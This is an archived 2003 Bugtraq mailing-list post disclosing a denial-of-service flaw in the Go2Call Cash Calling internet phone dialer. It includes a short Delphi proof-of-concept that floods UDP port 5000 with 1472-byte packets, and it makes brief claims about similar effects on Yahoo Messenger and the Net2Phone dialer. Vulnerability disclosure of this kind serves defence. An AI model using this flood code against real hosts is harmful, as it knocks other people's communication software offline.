bugtraq - Go2Call Cash Calling vulnerable

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20030901173421.16781.qmail@sf-www2-symnsj.securityfocus.com>
Date: 1 Sep 2003 17:34:21 -0000
From: Dima <megapolus@...box.ru>
To: bugtraq@...urityfocus.com
Subject: Go2Call Cash Calling vulnerable




Hi, sorry fo my english.
I found some bug in programm Go2Call Cash Calling
It's dialer for talking from Internet Pc2Phone

If you send a little UDP packets with size 1500 bytes
for example 1472 chars 'A' on 5000 port then this prog
will doesn't work 
The exploit is very easy
a part of code on Delphi 

procedure TForm1.Button1Click(Sender: TObject);
var C:string;
    N:integer;
    MyStream:TMemoryStream;
begin
      Memo1.Lines.Add('start');
      C:=Edit3.Text; //for example 'AAAA...' 1472 char 'A' for certain
      N:=strtoint(Edit4.Text);
      NMUDP1.RemoteHost:=Edit1.Text;
      NMUDP1.RemotePort:=strtoint(Edit2.Text);
      MyStream:=TMemoryStream.Create;
      try
         MyStream.Write(C[1],Length(C));
      for n:=1 to N do
      begin
         NMUDP1.SendStream(MyStream);
      end;
      finally
         MyStream.Free;
      end;
      Memo1.Lines.Add('finish');
end;

Yahoo messenger for example lost connection afte so ataks and 5000 UDP 
port too
Net2Phone dialer pc2phone (likely Go2Call dialer) will have sound noize in 
your headphone, 6801 UDP port